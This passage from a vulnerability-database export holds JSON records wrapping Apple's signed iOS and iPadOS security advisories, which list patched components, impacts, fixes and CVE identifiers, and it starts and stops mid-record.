AirPlay receiver from the lock screen\nDescription: This issue was addressed by restricting options offered on\na locked device.\nCVE-2026-113971: Apple\n\nrapportd\nAvailable for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nThis update is available through iTunes and Software Update on your iOS\ndevice, and will not appear in your computer\u0027s Software Update\napplication, or in the Apple Downloads site. Make sure you have an\nInternet connection and have installed the latest version of iTunes from\nhttps://www.apple.com/itunes/\n\niTunes and Software Update on the device will automatically check\nApple\u0027s update server on its weekly schedule. When an update is\ndetected, it is downloaded and the option to be installed is presented\nto the user when the iOS device is docked. We recommend applying the\nupdate immediately if possible. Selecting Don\u0027t Install will present the\noption the next time you connect your iOS device.\n\nThe automatic update process may take up to a week depending on the\nday that iTunes or the device checks for updates. You may manually\nobtain the update via the Check for Updates button within iTunes, or\nthe Software Update on your device.\n\nTo check that the iPhone, iPod touch, or iPad has been updated:\n\n* Navigate to Settings\n* Select General\n* Select About.\n* The version after applying this update will be \"iOS 18.7.12 and iPadOS\n18.7.12\".\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPDkACgkQ4Ifiq8DH\n7PVhZA//VV+arSHm61SLwWBMjIiaVULq68Jo6WkOD8rJ8Tgzh/L03HXDz52GsXMU\n+piR4Yv09DUjewc0IsRLQckszCSHxfCMZXs2PrjmAQPK8KnzhW61qEATt7GRJpbI\nApzHRxhyMEy6IQYVeYZt6fhPYAZoqS1vDD5hWqdCXvxbM+sYnDe/AZae1h2qQgWx\nAL+iovST2fZ8187otSd9gTE1QeDcDRGIw2dlRQMbdQAQ4+EO2hJKGvfy3I920uwU\nhW+ZnWzOggVjHAWqx78wyN5a0QZBVNEowOMREuEZd7aMIobp4vQx62J9fL1K8/8P\nww15xpq1lpjtcxuk9fesfFS4hB/rbRW280q2LXFLiiEwHTlD7+kGZHNzm2ZkTHUU\n1cFztIDsSsxiBjoyE89HJ3SBlN/cHPdmCVDm5xLl9sMnqNSmWhlSc0am3KuudYTC\nfgeoSebA2qhiNNcpnTcuEjhNAqi5/xhXAmn1UKN2AWFBAfMnBUk+4aS72Z602kM2\nELqI2ThvIA0UjiKxFyEZc4MP7NsHVfi8Kv3acOqacmp2/QRIhPGkzbpI0NQ8L9ul\nznNt8y6Zj7Qo2lqHPwpsysGiXvuQjAYyWcV19LXOnn26qOUl07ukg3hvGAk3GJwg\nDbmIsXlvDOshlWALBMTid2HEpDAaHPnRPBh+RqrF+45w/SAzZ+8=\n=mnGs\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:18Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/26"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/149717"
        },
        {
          "url": "https://www.apple.com/itunes/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-11-09-2026-3 iOS 18.7.12 and iPadOS 18.7.12",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-113964",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113965",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113968",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113970",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113971",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0562",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/26",
            "automated": true,
            "contentSha256": "8ea53bfb7ec63901e55ec3a90ff1dc128173efc38391f3252a68bf37e3fae0d7",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-10T00:05:42Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0562"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:18Z",
    "dateUpdated": "2026-11-13T02:14:18Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0562"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0561

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
APPLE-SA-11-09-2026-2 iOS 26.7.3 and iPadOS 26.7.3
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-2 iOS 26.7.3 and iPadOS 26.7.3 iOS 26.7.3 and iPadOS 26.7.3 addresses the following issues. Information about the security content is also available at https://support.apple.com/149716. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple Bluetooth Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher Messages Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher rapportd Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. * The version after applying this update will be "iOS 26.7.3 and iPadOS 26.7.3". All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPB4ACgkQ4Ifiq8DH 7PXYag/+PMESTE8NlyoMlXmKvN0HtIH0SAp8h+rVY8JoFAzvwzqyHcL9nsqINxv9 pGuU0KDANmgIZCb7jXtZkx1JkENx9GgbKwW8rpc4804czzrJzHNmGZwG3Ose8RmN nWlUpDY7M7KxW0wrhp18n3O/YaIQ99PhnnWYLWa4KzSGi7cnxSuFma8+TK7BLYvg 9qa0QAVOBGVPn3b7mzDif6WmRG5lurB276YpB+TcGHHKC3lBDOCWimCUgFdu3j9A 2LcQNzbNeX2i9uBlOxYDxr6cKPjrWwWngJHskMhjwxkLu3F8Vwe0++hCajNwawFO imgvTx5IeFobB4FYg4s663mlHaMYEZ75jU/iEhSrr7hWPYcadFOA0Mz7zagX9aR7 fFQLzDzskMcSldffDlHPUVqS1HF5ctXzykGtAmskBEWoFITTqJbseHaGsPCrsuRC TBbh7wh0OdgH+QQF50pYvmHgxPMb3P783xVWu7EVsELJCR1i2bV7QnUndryzCrsk n3tjtEexd32jLp8Qi3lHG9nMIdCK5MRN4JzePrZ9r9ufB4hUv9wuDxm946ix1RwO ueWB+bNh4Ob0xppV1NeCq9+F7yOZ3M97S2dro7Tgziyd4md6xy3N0PCcq6V5eU7w 7SBEYLuQnn45vCHdM53nyxuCDSY1x2AOBemzXKpeEjubF9etpeI= =v4+T -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown iOS Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0561 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "iOS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-09-2026-2 iOS 26.7.3 and iPadOS 26.7.3\n\niOS 26.7.3 and iPadOS 26.7.3 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149716.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nBluetooth\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nbrotli\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted input may lead to memory\ncorruption\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-111497\n\nCoreUtils\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113964: an anonymous researcher\n\nMessages\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A user added to an iMessage group may be able to access messages\nsent before they joined\nDescription: This issue was addressed by removing the vulnerable code.\nCVE-2026-113960: an anonymous researcher\n\nMessages\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A remote attacker may be able to join an iMessage group chat and\nreceive its messages\nDescription: An authorization issue was addressed with improved\nvalidation.\nCVE-2026-113961: an anonymous researcher\n\nrapportd\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nThis update is available through iTunes and Software Update on your iOS\ndevice, and will not appear in your computer\u0027s Software Update\napplication, or in the Apple Downloads site. Make sure you have an\nInternet connection and have installed the latest version of iTunes from\nhttps://www.apple.com/itunes/\n\niTunes and Software Update on the device will automatically check\nApple\u0027s update server on its weekly schedule. When an update is\ndetected, it is downloaded and the option to be installed is presented\nto the user when the iOS device is docked. We recommend applying the\nupdate immediately if possible. Selecting Don\u0027t Install will present the\noption the next time you connect your iOS device.\n\nThe automatic update process may take up to a week depending on the\nday that iTunes or the device checks for updates. You may manually\nobtain the update via the Check for Updates button within iTunes, or\nthe Software Update on your device.\n\nTo check that the iPhone, iPod touch, or iPad has been updated:\n\n* Navigate to Settings\n* Select General\n* Select About.\n* The version after applying this update will be \"iOS 26.7.3 and iPadOS\n26.7.3\".\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPB4ACgkQ4Ifiq8DH\n7PXYag/+PMESTE8NlyoMlXmKvN0HtIH0SAp8h+rVY8JoFAzvwzqyHcL9nsqINxv9\npGuU0KDANmgIZCb7jXtZkx1JkENx9GgbKwW8rpc4804czzrJzHNmGZwG3Ose8RmN\nnWlUpDY7M7KxW0wrhp18n3O/YaIQ99PhnnWYLWa4KzSGi7cnxSuFma8+TK7BLYvg\n9qa0QAVOBGVPn3b7mzDif6WmRG5lurB276YpB+TcGHHKC3lBDOCWimCUgFdu3j9A\n2LcQNzbNeX2i9uBlOxYDxr6cKPjrWwWngJHskMhjwxkLu3F8Vwe0++hCajNwawFO\nimgvTx5IeFobB4FYg4s663mlHaMYEZ75jU/iEhSrr7hWPYcadFOA0Mz7zagX9aR7\nfFQLzDzskMcSldffDlHPUVqS1HF5ctXzykGtAmskBEWoFITTqJbseHaGsPCrsuRC\nTBbh7wh0OdgH+QQF50pYvmHgxPMb3P783xVWu7EVsELJCR1i2bV7QnUndryzCrsk\nn3tjtEexd32jLp8Qi3lHG9nMIdCK5MRN4JzePrZ9r9ufB4hUv9wuDxm946ix1RwO\nueWB+bNh4Ob0xppV1NeCq9+F7yOZ3M97S2dro7Tgziyd4md6xy3N0PCcq6V5eU7w\n7SBEYLuQnn45vCHdM53nyxuCDSY1x2AOBemzXKpeEjubF9etpeI=\n=v4+T\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:18Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/25"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/149716"
        },
        {
          "url": "https://www.apple.com/itunes/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-11-09-2026-2 iOS 26.7.3 and iPadOS 26.7.3",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-111497",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113960",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113961",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113964",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113965",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113968",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113970",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0561",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/25",
            "automated": true,
            "contentSha256": "ff3c2946141520e8b3575f24b2b04084d5d5d8607083db23da020d54512bcda4",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-10T00:05:14Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0561"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:18Z",
    "dateUpdated": "2026-11-13T02:14:18Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0561"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0560

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
APPLE-SA-11-09-2026-1 iOS 27.2.1 and iPadOS 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-1 iOS 27.2.1 and iPadOS 27.2.1 iOS 27.2.1 and iPadOS 27.2.1 addresses the following issues. Information about the security content is also available at https://support.apple.com/149715. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple App Intents Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: An app may be able to access sensitive user data Description: An authorization issue was addressed with improved state management. CVE-2026-113963: László Várady Bluetooth Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher Messages Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher rapportd Available for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation and later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th generation and later, iPad 9th generation and later, and iPad mini 6th generation and later Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. * The version after applying this update will be "iOS 27.2.1 and iPadOS 27.2.1". All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryO+oACgkQ4Ifiq8DH 7PVB0w/7B8C0dM+CLasYq4ddK2/zJz112cQCiFR0fOAj/BENZaB+ZBJleCR+2AB5 kOrdaYZwDRaUlts6Ceap8BCUQZN1mt9pFiFZHnmQHJgZvhz4Sz9LGsJBG5mlDsXQ 65AlLTHKhxxoeH2HsMYCvzDyvMpnfPu7PgKpMdtOVyzglwVFbJqZHfKzLuoc9NFm dVRGkThmvaKfYUWy8zmoBF2sWiFA+bbYiaJkeqsp04QgDJpipLZi48kvrSbDxWvh uWGb7df/NA2TB6v8f0ZNZizlN3x+e4eADNPIBsC/Nn0/J/XK80s702Rk/YzVfkOr wd0ylLy23LbB3ygneEKUlEmE7L5OMuJd9Q8y5rlOU600tRqpv91Koft1OzNoT8p9 fU34EAtzmZH4kpoAsFB65JTJ1ET380p92ZUMJjJbcAWcb4IyFacZEWpn1QDQlBkX mStLLLW8fxEHW0BuaaDY9i1Kx3zXbtd7iBrP8LTW7cVToW1l5V3Q1uhk5xkdNxqJ tBKDiVy4z6xZvrcNXZmk98HA4mDbYAMJlR6YOVtktgD8oNuawjOlyi/EHmVlPZSe g+qYn2UcZruJricFne3sqQE9hSqjHiW8mhIQQgJ+tjtAmHc6eEKNJxkD6fNfDTYk OrlKQbaUJLZSU1H/97o85ryFB2capJ8atBl8t/VFxwURU60J/uI= =73gd -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown iOS Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0560 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "iOS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-09-2026-1 iOS 27.2.1 and iPadOS 27.2.1\n\niOS 27.2.1 and iPadOS 27.2.1 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149715.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nApp Intents\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: An app may be able to access sensitive user data\nDescription: An authorization issue was addressed with improved state\nmanagement.\nCVE-2026-113963: L\u00e1szl\u00f3 V\u00e1rady\n\nBluetooth\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nbrotli\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: Processing maliciously crafted input may lead to memory\ncorruption\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-111497\n\nCoreUtils\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state 